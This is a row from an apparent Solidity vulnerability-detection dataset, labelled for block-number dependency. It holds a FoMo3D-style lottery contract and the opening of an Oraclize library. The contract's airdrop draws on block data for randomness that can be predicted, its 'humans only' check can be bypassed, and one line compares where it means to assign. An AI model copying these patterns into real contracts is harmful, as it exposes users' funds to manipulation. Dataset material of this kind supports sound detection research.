rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,0); fees_[1] = F3Ddatasets.TeamFee(31,0); fees_[2] = F3Ddatasets.TeamFee(50,0); fees_[3] = F3Ddatasets.TeamFee(36,0); potSplit_[0] = F3Ddatasets.PotSplit(52,0); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(40,0); potSplit_[3] = F3Ddatasets.PotSplit(34,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 67000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 5; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 8; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 40295.sol,"// /* Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { address oraclizeAddr = OAR.getAddress(); if (oraclizeAddr == 0){ oraclize_setNetwork(networkID_auto); oraclizeAddr = OAR.getAddress(); } oraclize = OraclizeI(oraclizeAddr); _ } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _ } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); return true; } if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return 